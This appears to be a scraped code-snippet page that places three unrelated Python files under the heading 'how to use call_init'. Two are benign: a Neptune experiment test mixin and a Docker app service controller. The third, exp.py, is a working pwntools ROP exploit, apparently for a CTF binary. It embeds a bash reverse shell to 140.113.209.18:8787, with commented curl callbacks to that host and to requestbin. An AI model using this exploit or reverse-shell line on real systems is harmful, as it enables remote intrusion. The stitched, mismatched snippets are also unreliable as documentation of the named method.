KaneAI - World’s First E2E Software Testing Agent.Book a Demo 
How to use call_init method in autotest
Best Python code snippet using autotest_python
abstract_experiment_test_mixin.py
Source:abstract_experiment_test_mixin.py 
...29)30class AbstractExperimentTestMixin:31 @staticmethod32 @abstractmethod33 def call_init(**kwargs):34 pass35 def test_incorrect_mode(self):36 with self.assertRaises(ValueError):37 self.call_init(mode="srtgj")38 def test_debug_mode(self):39 exp = self.call_init(mode="debug")40 exp["some/variable"] = 1341 self.assertEqual(13, exp["some/variable"].fetch())42 self.assertNotIn(str(exp._id), os.listdir(".neptune"))43 def test_offline_mode(self):44 exp = self.call_init(mode="offline")45 exp["some/variable"] = 1346 with self.assertRaises(NeptuneOfflineModeFetchException):47 exp["some/variable"].fetch()48 exp_dir = f"{exp.container_type.value}__{exp._id}"49 self.assertIn(exp_dir, os.listdir(".neptune/offline"))50 self.assertIn("data-1.log", os.listdir(f".neptune/offline/{exp_dir}"))51 def test_sync_mode(self):52 exp = self.call_init(mode="sync")53 exp["some/variable"] = 1354 exp["copied/variable"] = exp["some/variable"]55 self.assertEqual(13, exp["some/variable"].fetch())56 self.assertEqual(13, exp["copied/variable"].fetch())57 self.assertNotIn(str(exp._id), os.listdir(".neptune"))58 def test_async_mode(self):59 with self.call_init(mode="async", flush_period=0.5) as exp:60 exp["some/variable"] = 1361 exp["copied/variable"] = exp["some/variable"]62 with self.assertRaises(MetadataInconsistency):63 exp["some/variable"].fetch()64 exp.wait()65 self.assertEqual(13, exp["some/variable"].fetch())66 self.assertEqual(13, exp["copied/variable"].fetch())67 exp_dir = f"{exp.container_type.value}__{exp._id}"68 self.assertIn(exp_dir, os.listdir(".neptune/async"))69 execution_dir = os.listdir(f".neptune/async/{exp_dir}")[0]70 self.assertIn(71 "data-1.log",72 os.listdir(f".neptune/async/{exp_dir}/{execution_dir}"),73 )74 def test_async_mode_wait_on_dead(self):75 with self.call_init(mode="async", flush_period=0.5) as exp:76 exp._op_processor._backend.execute_operations = Mock(side_effect=ValueError)77 exp["some/variable"] = 1378 # wait for the process to die79 time.sleep(1)80 with self.assertRaises(NeptuneSynchronizationAlreadyStoppedException):81 exp.wait()82 def test_async_mode_die_during_wait(self):83 with self.call_init(mode="async", flush_period=1) as exp:84 exp._op_processor._backend.execute_operations = Mock(side_effect=ValueError)85 exp["some/variable"] = 1386 with self.assertRaises(NeptuneSynchronizationAlreadyStoppedException):87 exp.wait()88 def test_async_mode_stop_on_dead(self):89 stream = StringIO()90 with contextlib.redirect_stdout(stream):91 exp = self.call_init(mode="async", flush_period=0.5)92 update_freq = 193 default_freq = exp._op_processor.STOP_QUEUE_STATUS_UPDATE_FREQ_SECONDS94 try:95 exp._op_processor.STOP_QUEUE_STATUS_UPDATE_FREQ_SECONDS = update_freq96 exp._op_processor._backend.execute_operations = Mock(side_effect=ValueError)97 exp["some/variable"] = 1398 exp.stop()99 finally:100 exp._op_processor.STOP_QUEUE_STATUS_UPDATE_FREQ_SECONDS = default_freq101 self.assertIn("NeptuneSynchronizationAlreadyStopped", stream.getvalue())102 def test_missing_attribute(self):103 exp = self.call_init(mode="debug")104 with self.assertRaises(MissingFieldException):105 exp["non/existing/path"].fetch()106 def test_wrong_function(self):107 exp = self.call_init(mode="debug")108 with self.assertRaises(AttributeError):109 exp["non/existing/path"].foo()110 def test_wrong_per_type_function(self):111 exp = self.call_init(mode="debug")112 exp["some/path"] = "foo"113 with self.assertRaises(TypeDoesNotSupportAttributeException):114 exp["some/path"].download()115 @abstractmethod116 def test_read_only_mode(self):...
service.py
Source:service.py
...45 parser.add_argument('app', action=StoreAppAction, help='The ID of the App that shall be controlled')46 @classmethod47 def get_init(cls, app):48 return '/etc/init.d/docker-app-%s' % app.id49 def call_init(self, app, command):50 init = self.get_init(app)51 if not os.path.exists(init):52 self.fatal('%s is not supported' % app.id)53 return False54 return self._call_script(self.get_init(app), command)55class Start(Service):56 '''Starts an application previously installed.'''57 help = 'Start an app'58 def main(self, args):59 if args.app.uses_docker_compose():60 docker = MultiDocker(args.app)61 return docker.start()62 return self.call_init(args.app, 'start')63class Stop(Service):64 '''Stops a running application.'''65 help = 'Stop an app'66 def main(self, args):67 if args.app.uses_docker_compose():68 docker = MultiDocker(args.app)69 return docker.stop()70 return self.call_init(args.app, 'stop')71class Restart(Service):72 '''Restarts an app. Stops and Starts. Does not have to be running'''73 help = 'Restart an app'74 def main(self, args):75 if args.app.uses_docker_compose():76 docker = MultiDocker(args.app)77 return docker.restart()78 return self.call_init(args.app, 'restart')79class CRestart(Service):80 '''CRestarts an app. Stops and Starts. Has to be running'''81 help = 'CRestart an app'82 def main(self, args):83 if args.app.uses_docker_compose():84 docker = MultiDocker(args.app)85 return docker.restart()86 return self.call_init(args.app, 'crestart')87class Status(Service):88 '''Ask service about status. Possible answers: running stopped'''89 help = 'Retrieve status of an app'90 @classmethod91 def get_init(cls, app):92 if app.plugin_of:93 app = Apps().find(app.plugin_of)94 return super(Status, cls).get_init(app)95 def main(self, args):96 if args.app.uses_docker_compose():97 docker = MultiDocker(args.app)98 running = docker.is_running()99 if running:100 self.log('App is running')101 else:102 self.log('App is not running')103 return running104 return self.call_init(args.app, 'status')105 @classmethod106 def get_status(cls, app):107 if app.uses_docker_compose():108 return ''109 else:110 try:111 ret, out = call_process2([cls.get_init(app), 'status'])112 # dirty, but we have a limit for sending status information113 out = out[500:]114 except Exception as e:115 out = str(e)...
exp.py
Source:exp.py
1from pwn import *2import time3import sys4def exploit():5 if len(sys.argv) <= 1:6 input('attach to pid: {}'.format(proc.proc.pid))7 pop_rdi = 0x0000000000400cb38 pop_rsi_r15 = 0x0000000000400cb19 call_rax = 0x00000000004006f010 jmp_rax = 0x00000000004007e111 exit_got = 0x601fc012 dlsym_got = 0x601fe813 csu_init = 0x400caa14 call_init = 0x400c9015 leave_ret = 0x00000000004008ea16 17 offset_ary = [0x390, 0x450, 0x4b0]18 mybuf = 0x6020e019 new_stack = mybuf + offset_ary[0]20 write_str = mybuf + offset_ary[1]21 parent_rop = mybuf + offset_ary[2]22 write_got = new_stack + 0x823 system_str = write_str + 0x824 reverse_shell = system_str + 0x825 buf = b'A' * 0x3026 buf += flat(new_stack - 8, leave_ret)27 print(hex(len(buf)))28 buf = buf.ljust(offset_ary[0])29 #buf += flat(pop_rsi_r15, 0, 0)30 buf += flat(csu_init, 0, 1, dlsym_got, 0, write_str, 0x100, call_init, 0xdeadbeef)31 buf += flat(0, 1, write_got, 1, parent_rop, 0x200, call_init, 0xdeadbeef)32 buf += flat(0, 1, exit_got, 0xde, 0, 0, call_init)33 print(hex(len(buf)))34 buf = buf.ljust(offset_ary[1])35 buf += b'write\x00'.ljust(0x8)36 buf += b'system\x00'.ljust(0x8)37 buf += b'/bin/bash -c \'/bin/bash -i >& /dev/tcp/140.113.209.18/8787 0>&1\'\x00'38 #buf += b'/usr/bin/curl http://140.113.209.18:8787\x00'39 print(hex(len(buf)))40 buf = buf.ljust(offset_ary[2])41 buf += b'B' * 0x3842 buf += flat(pop_rsi_r15, 0, 0)43 #buf += flat(csu_init, 0, 1, dlsym_got, 0, system_str + 7, 0, call_init, 0xdeadbeef)44 #buf += flat(0, 1, 0, 1, 2, 3, pop_rdi, 0, pop_rsi_r15, mybuf, 0, call_rax)45 buf += flat(csu_init, 0, 1, dlsym_got, 0, system_str, 0, call_init, 0xdeadbeef)46 buf += flat(0, 1, 0, 1, 2, 3, pop_rdi, reverse_shell, call_rax)47 print(hex(len(buf)))48 #buf = buf.ljust(0x800, b'\x00')49 #buf = buf.ljust(0x700)50 #buf += b'/bin/bash -c \'/bin/bash -i >& /dev/tcp/140.113.209.18/8787 0>&1\'\x00'.ljust(0x50)51 #buf += b'sleep 100\x00'.ljust(0x50)52 #buf += b'/bin/ls\x00'.ljust(0x50)53 #buf += b'curl http://requestbin.net/r/1736yvq1\x00'.ljust(0x50)54 #buf += b'curl http://140.113.209.18:8787\x00'.ljust(0x50)55 #buf += b'system\x00'56 #buf += flat(csu_init, 0, 1, exit_got, 0xde, 0, 0, call_init, 0xdeadbeef)57 proc.send(buf)58 input('wait')59if __name__ == '__main__':60 context.arch = 'amd64'61 connect = 'nc eof.ais3.org 19091'62 connect = connect.split(' ')63 if len(sys.argv) > 1:64 proc = remote(connect[1], int(connect[2]))65 else:66 proc = process(['./easierROP'], env={'LD_LIBRARY_PATH': './'})67 exploit()...
Automation Testing Tutorials
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
LambdaTest Learning Hubs:
- JUnit Tutorial
- TestNG Tutorial
- Webdriver Tutorial
- WebDriverIO Tutorial
- Protractor Tutorial
- Selenium 4 Tutorial
- Jenkins Tutorial
- NUnit Tutorial
- Jest Tutorial
- Playwright Tutorial
- Cypress Tutorial
- PyTest Tutorial
YouTube
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Run autotest automation tests on LambdaTest cloud grid
Perform automation testing on 3000+ real desktop and mobile devices online.
Try LambdaTest Now !!
Get 100 minutes of automation test minutes FREE!!
Was this article helpful?
